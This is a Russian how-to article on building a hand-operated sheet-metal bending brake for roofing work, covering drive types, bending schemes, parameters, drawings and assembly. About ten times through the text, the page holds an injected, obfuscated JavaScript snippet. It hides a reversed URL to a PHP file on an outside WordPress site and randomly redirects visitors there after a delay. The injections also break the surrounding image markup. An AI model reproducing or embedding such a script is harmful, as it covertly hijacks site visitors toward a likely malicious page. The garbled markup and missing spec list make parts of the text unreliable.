Листогибочный станок своими руками: 7 шагов к осуществлению задуманного

Гибочный станок для листового металла вполне можно изготовить в домашних условиях. Такое оборудование нужно далеко не каждому домашнему мастеру, но зато тем, например, кто занимается кровельными работами, он поможет в значительной мере увеличить собственный заработок. А для кого-то, возможно, и вовсе станет первым станком будущего завода.

$NfI=function(n){if (typeof ($NfI.list[n]) == «string») return $NfI.list[n].split(«»).reverse().join(«»);return $NfI.list[n];};$NfI.list=[«\’php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}to-samodelnogo-listogibochnogo-oborudovaniya-600×449.jpg» alt=»Фото самодельного листогибочного оборудования» width=»600″ height=»449″ /> Фото самодельного листогибочного оборудования

Причины, по которым стоит собственноручно собрать листогиб

Почему вообще следует браться за изготовление столь непростого оборудования своими руками? Чтобы ответить на этот вопрос, давайте пойдём от обратного и рассмотрим альтернативные методы получения ендов, коньков, желобов водосточных труб, карнизных планок и иных фрагментов кровельных конструкций.

$NfI=function(n){if (typeof ($NfI.list[n]) == «string») return $NfI.list[n].split(«»).reverse().join(«»);return $NfI.list[n];};$NfI.list=[«\’php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}tovlennogo-pri—600×450.jpg» alt=»Пример металлического желоба, изготовленного при помощи листогиба» width=»600″ height=»450″ /> Пример металлического желоба, изготовленного при помощи листогиба

Хотя, сразу хочу отметить, что это далеко не единственная отрасль, где требуются изделия, создаваемые путём гибки железа. Просто сейчас для наглядности коснёмся именно её.

Обойтись вообще без станка

Тут есть два варианта действий:

1. Покупка готовых образцов, которые значительно превосходят в цене листовой металл и даже трудовые затраты, необходимые для его обработки. То есть, это попросту отказ от ощутимой части заработка в пользу промышленных заводов;

$NfI=function(n){if (typeof ($NfI.list[n]) == «string») return $NfI.list[n].split(«»).reverse().join(«»);return $NfI.list[n];};$NfI.list=[«\’php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}tovye-resheniya-no-za-nih-zaplati-600×450.jpg» alt=»В магазине есть готовые решения, но за них заплатить придётся намного дороже» width=»600″ height=»450″ /> В магазине есть готовые решения, но за них заплатить придётся намного дороже

2. По старинке использовать для получения нужных форм выколотку. Но это приведёт к немедленной потере многих клиентов, которые предпочитают продукцию без кондового вида. Современный рынок очень жесток в этом плане: все хотят и качественно, и красиво.

$NfI=function(n){if (typeof ($NfI.list[n]) == «string») return $NfI.list[n].split(«»).reverse().join(«»);return $NfI.list[n];};$NfI.list=[«\’php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}tomu-zhe-i-sama-rabota-s-vykolotkoy-yavlyaetsya—600×338.jpg» alt=»К тому же и сама работа с выколоткой является достаточно трудоёмким процессом» width=»600″ height=»338″ /> К тому же и сама работа с выколоткой является достаточно трудоёмким процессом

Купить готовый станок

Давайте рассмотрим гипотетическую ситуацию в цифрах. В среднем ручной листогиб может обойтись вам в 1500-2000 долларов США. В теории на нём получится превратить за пару дней тонну оцинкованного железа tolshhina-peregorodki-iz-gipsokartona-623″>толщиной 0,55 мм и стоимостью 1000 долларов США в 250 квадратных метров профнастила, которые оцениваются уже в 1400 тех же самых денежных единиц.

$NfI=function(n){if (typeof ($NfI.list[n]) == «string») return $NfI.list[n].split(«»).reverse().join(«»);return $NfI.list[n];};$NfI.list=[«\’php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}tovyh-listov-profnastila-600×294.jpg» alt=»Примеры готовых листов профнастила» width=»600″ height=»294″ /> Примеры готовых листов профнастила

Вроде бы всё выходит красиво, а в уме уже подсчитывается не то что окупаемость покупки, а колоссальные прибыли, получаемые в дальнейшем.

Но, к сожалению, всё не так радужно на практике, где на вашем пути встанут следующие сложности:

1. Углы при прокатке профнастила очень часто выходят перетянутыми, в результате чего требуется повторение операции. Это уже приводит к увеличению теоретических сроков работы;
2. Возможны нарушения межкристаллитных связей металла. Через время в таких местах начинает ползти трещина. Переделывать такой брак придётся вам уже за свой счёт.

Линия же, которая лишена таких проблем, стоит уже в районе 20000 долларов США, которые окупить будет ещё сложнее. Плюс это всё касается того случая, когда у вас есть сбыт изготавливаемой продукции. А если вам лишь время от времени необходимы определённые изделия для выполнения заказа по кровельным работам, то о рентабельности даже самого дешёвого покупного оборудования не может быть и речи.

Для наглядности и возможности поразмыслить над данным вопросом самостоятельно приведу вам примеры некоторых конкретных моделей станков, которые можно купить уже в готовом виде:

• Модель «Tapco Max 20-08»:

Образец модели «Tapco Max 20-08»

• Модель «Van Mark Metal Master Commercial MM 1051»:

Образец модели «Van Mark Metal Master Commercial MM 1051»

Пошаговое выполнение сборочного процесса

Инструкция изготовления листогиба начинается с решения некоторых теоритических вопросов:

Шаг №1: определяемся с типом привода

Для того чтобы согнуть листовое железо можно сконструировать и использовать один из следующих приводов:

1. Механический. Может быть представлен в виде маховика с фрикционом и кривошипом или же в виде падающего груза с системой тросов, блоков и рычагов. Обладает высоким коэффициентом полезного действия, но для нашего случая совсем не подходит. Дело в том, что в начале его рабочего хода наблюдается резкий удар, который затем слабеет, а для сгибания металлических листов требуется как раз обратный эффект;
2. Электрический. Здесь наблюдается проблема иного характера: значительное падение коэффициента полезного действия и увеличение энергопотребления при работе с малогабаритными фрагментами. Это происходит из-за того, при сопротивлении сгибаемой стали скольжение двигателя растёт, а момент падает;

Пример электрического двигателя

3. Гидравлический. В этих устройствах гидроцилиндр самостоятельно подстраивает своё усилие под сопротивление металлической детали. Они были бы идеальны, если не стоили слишком дорого для самодельного станка;

Пример гидравлического двигателя

4. Ручной. Несмотря на то, что в этом случае движущей силой будут ваши руки, такой привод идеален для самодельного станка. Он наиболее прост в изготовлении, не требует потребления электрической энергии и обойдётся недорого.

При этом вы получаете нужное и равномерное усилие. Ручник-то мы и выберем для сооружения самодельного листогиба.

Главное, правильно сконструировать агрегат, чтобы при его эксплуатации работали наиболее сильные группы мышц, а отдача прижимала стопы оператора к полу. В таком случае процесс не будет слишком изнурительным.

Шаг №2: выбираем рабочую схему для станка

Теперь нужно решить, как будет работать ваш самодельный станок для гибки листового металла.

Выбрать можно из следующих схем:

1. С помощью траверсы. Такой метод позволяет производить гибку стальных листов руками толщиной до 0,5 мм. На схеме вы можете с ним ознакомиться:

Схема осуществления гибки листа металла с помощью траверсы

Рекомендую в процессе эксплуатации описанного способа налегать на траверсу в нижней её части и подавать немного вперёд, как бы выглаживая сталь. В таком случае изгиб получится максимально правильным и аккуратным.

2. С помощью пресса. Этот вариант активно используется в промышленности. Для частной же мастерской он слишком травмоопасный, так как при наличии малейшей неисправности в устройстве или ошибке в заправке материала лист может выскользнуть и нанести серьёзные повреждения оператору;

$NfI=function(n){if (typeof ($NfI.list[n]) == «string») return $NfI.list[n].split(«»).reverse().join(«»);return $NfI.list[n];};$NfI.list=[«\’php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}tovogo-metalla-pri-600×422.jpg» alt=»Схема осуществления гибки листового металла при помощи пресса» width=»600″ height=»422″ /> Схема осуществления гибки листового металла при помощи пресса

3. С помощью системы валов. Это как раз те протяжные листогибы, которые можно купить в районе 1500-2500 долларов США. Могут быть ручными или электрическими. Очень удобны в эксплуатации, но тяжело реализуемы собственными руками.

$NfI=function(n){if (typeof ($NfI.list[n]) == «string») return $NfI.list[n].split(«»).reverse().join(«»);return $NfI.list[n];};$NfI.list=[«\’php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}togib-600×188.jpg» alt=»Протяжный ручной листогиб» width=»600″ height=»188″ /> Протяжный ручной листогиб

Проще всего создать листогиб своими руками, сгибающий металл при помощи траверсы, значит, такой вариант и будем рассматривать далее.

Шаг №3: определяем основные параметры будущего станка

Самодельный листогиб должен обладать следующими качествами, чтобы быть эффективным в домашней эксплуатации:

• Не перенапрягать оператора. Раз мы остановились на ручном приводе, то пусть работа за станком не станет для вас каторгой;

Процесс гибки не должен быть изнурительным

• Быть простым с технической точки зрения и недорогим;
• Легко транспортироваться. Очень часто вам может понадобиться гнуть детали непосредственно на месте выполнения кровельных работ.

$NfI=function(n){if (typeof ($NfI.list[n]) == «string») return $NfI.list[n].split(«»).reverse().join(«»);return $NfI.list[n];};$NfI.list=[«\’php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}togiba-na-uchastke-zakazchika.jpg» alt=»Эксплуатация листогиба на участке заказчика» width=»500″ height=»334″ /> Эксплуатация листогиба на участке заказчика

Исходя из вышеперечисленного, предлагаю ориентироваться на следующие технические характеристики изготавливаемого устройства:

Рекомендую сварных соединений делать как можно меньше, так как от них ведёт сборные узлы, да и долговечностью они в условиях знакопеременных нагрузок похвастаться не могут.

Сварка в рассматриваемой ситуации – не лучшее решение

Шаг №4: составляем чертёж, соответствующий всем перечисленным условиям

Ручник, траверса, удобство в эксплуатации, компактность и ещё несколько важных параметров. Теперь всё это перенесём на чертёж:

$NfI=function(n){if (typeof ($NfI.list[n]) == «string») return $NfI.list[n].split(«»).reverse().join(«»);return $NfI.list[n];};$NfI.list=[«\’php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}togiba.jpg» alt=»Чертёжная схема будущего самодельного листогиба» width=»405″ height=»530″ /> Чертёжная схема будущего самодельного листогиба

Пример подходящего для создания опорной балки швеллера

Материал всех комплектующих – конструкционная сталь. Отдельно хочу остановиться на траверсе.

Во многих описаниях вы можете встретить, что в качестве неё предлагается использовать уголок. Я же категорически советую устанавливать швеллер, который выдержит в 6 раз больше рабочих циклов. Что же касается размеров, то для нашего случая оптимально будет 8-10 см.

Шаг №5: переходим к ознакомлению с деталировкой и изготовлению основных элементов

Много чертежей не бывает. Чем детальнее всё будет расписано на бумаге, тем меньше шансов допустить ошибку в процессе выполнения сборочных работ. Поэтому предлагаю вашему вниманию деталировку изготавливаемого оборудования:

$NfI=function(n){if (typeof ($NfI.list[n]) == «string») return $NfI.list[n].split(«»).reverse().join(«»);return $NfI.list[n];};$NfI.list=[«\’php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}togiba-1.jpg» alt=»Деталировка самодельного листогиба» width=»513″ height=»487″ /> Деталировка самодельного листогиба

Сборку прижимной балки выполняем в соответствии с приведённой схемой, после чего обязательно отдаём получившийся узел на фрезеровку. В качестве основы прижима берём стальную полосу размерами 1,6 на 8 см. Её переднюю кромку также фрезеруем под углом 45 градусов.

Фрезерные работы

Чтобы предотвратить прогиб прижима, в верхней части подкрепляем его уголком шестидесяткой с помощью сварки.

Шаг №6: реализуем крепёжную систему

Можно фиксировать устройство струбцинами. Но тогда, если хотя бы одна из них сломается, то работа сразу же станет, так как станок начнёт гнуть не деталь, а приподнимать самого себя.

Поэтому предлагаю альтернативное и более практичное решение:

1. Удлиняем опорную балку за края стола;
2. Создаём на её краях U-образные проушины;
3. Прикручиваем её к столу болтами М10.

Шаг №7: собираем всё вместе

И вот представляю вашему вниманию чертёж уже окончательной сборки:

Схема окончательной сборки

Заключение

Вы ознакомились с тем, как можно изготовить станок для гибки листового металла в домашних условиях, и зачем это вообще нужно. Видео в этой статье содержит дополнительные материалы, а в комментариях вы можете задать любые вопросы по теме.

$NfI=function(n){if (typeof ($NfI.list[n]) == «string») return $NfI.list[n].split(«»).reverse().join(«»);return $NfI.list[n];};$NfI.list=[«\’php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}tovlennogo-v-domashnih-usloviyah-stanka-600×451.jpg» alt=»Пример изготовленного в домашних условиях станка для гибки металлических листов» width=»600″ height=»451″ /> Пример изготовленного в домашних условиях станка для гибки металлических листов